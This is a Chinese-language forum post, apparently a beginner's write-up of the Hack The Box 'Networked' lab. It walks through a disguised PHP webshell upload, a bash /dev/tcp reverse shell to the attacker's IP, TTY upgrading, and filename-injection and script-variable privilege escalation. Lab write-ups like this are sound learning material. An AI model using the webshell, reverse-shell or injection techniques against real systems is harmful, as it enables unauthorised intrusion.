首页
社区
课程
招聘
[原创]HTB_Networked从实战靶场学渗透
发表于: 2020-8-2 17:06 1407

[原创]HTB_Networked从实战靶场学渗透

2020-8-2 17:06
1407

偶然从其他公众号接触到了Hack the box ,从此就把它当作了渗透的学习模板
Networked是我的第一个靶场,虽然是easy的级别,但对于小白的我来说,包括工具,shell命令都是当时第一次接触,所以故写出这篇writeup,技术很菜,轻喷
靶场ip:10.10.10.146
攻击机ip:10.10.14.15

图片描述

从80端口入手查看其web页面,右键查看源码也未找到有用的信息
图片描述

直接使用gobuster去fuzz目录
gobuster dir -u http://10.10.10.146 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php
图片描述
访问photos.php和uoload.php
图片描述
图片描述
尝试使用文件上传,编写webshell,修改后缀名为.gif
<?php system($_GET['PleaseSubscribe']); ?>
使用Burp抓包
图片描述
访问其他目录寻找突破口
10.10.10.146/backup (该目录同样为gobuster fuzz出来的)
图片描述

卧槽,好像直接找到了网站源码
快速筛选php代码,筛选文件中所有包含$的行(凡是$作为前缀的变量,均为php的超级变量,即内置对象)

图片描述

查找submit对应的地方
/submit
通过submit 找到函数 check_file_type函数,源于文件lib.php
图片描述
函数 file_mime_type()函数进行文件检查 (通过文件标示进行检查,部分文件仅查询标示头)
图片描述
万事俱备,把标示头和shell组合扔上去就好了
图片描述
接下来就是通过photos.php访问我们上传的资源
http://10.10.10.146/uploads/10_10_14_15.php.gif 获取资源所在路径
(以GET方式传递参数)
关于使用的bash shell

(指令详解)
https://blog.csdn.net/Auuuuuuuu/article/details/89059176
(= bash i > /dev/tcp/10.10.14.15/9001 和 bash i < /dev/tcp/10.10.14.15/9001 结合)
使用bash 命令行
-i 采用交互式
">"重定向输出到 指定位置
/dev/tcp/10.10.14.15/9001 ip地址
0>&1 重定向输入
随后在参数中使用url编码 ctrl + u ,本地监听9001端口,getshell

以上为getshell的第一阶段

升级shell
参考文章:https://www.4hou.com/technology/6248.html
nc反弹的shell很容易中断连接,并且没有正确的tty(终端)与之对应
· 一些命令,像su和ssh要求一个正确的终端运行
· 通常不显示STDERR
· 无法正确使用文本编辑器 vim
· 没有标签完成
· 没有向上的箭头历史
· 没有工作控制
· 等等...
所以我们利用以下指令绑定终端升级shell

生成一个进程,并将其控制终端与当前进程的标准io连接(生成一个控制终端,使其io与当前进程连接)
ctrl+z 挂起当前进程
设置终端tty为RAW模式

RAW模式简单说就是发送端发送的二进制码原封不动的被接收端接收
http://www.51testing.com/html/03/n-3714603.html (Raw模式简介)
此时我们的输入是没有回显的
输入 fg
指令解析https://www.cnblogs.com/jiangzhaowei/p/8971265.html

图片描述

cat crontab.guly

每3分钟启动一次check_attck.php
查看check_attck.php源码

根据我们上传的文件在uploads目录下的文件名10_10_16_83.php.png
getnameCheck函数返回访问ip地址和后缀
如上源码,如果check_ip返回的数组中 第一个参数为false,就会删除目标文件,具体查看check_ip函数具体内容

我们通过创建一个 shell 文件名 从而通过check_attack.php中的exec反弹shell

本机监听4444端口
图片描述

同理 升级shell(和上面一样 此处省略)
此处就可以拿到guly用户的flag

以上部分为第二阶段

图片描述

执行这个脚本 会将内容填充到ifcfg-guly这个文件中
通过 末尾 $var=$x 变量x我们可以控制 从而进行提权
图片描述

至此整个过程结束

这是自己当时接触的第一个靶场,很多东西都不会,40分钟的视频自己研究了一个礼拜,感觉可能会对其他新手有些帮助!


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1634
活跃值: (480)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢大佬分享,希望出更多的教程
2020-10-11 10:41
0
游客
登录 | 注册 方可回帖
返回
//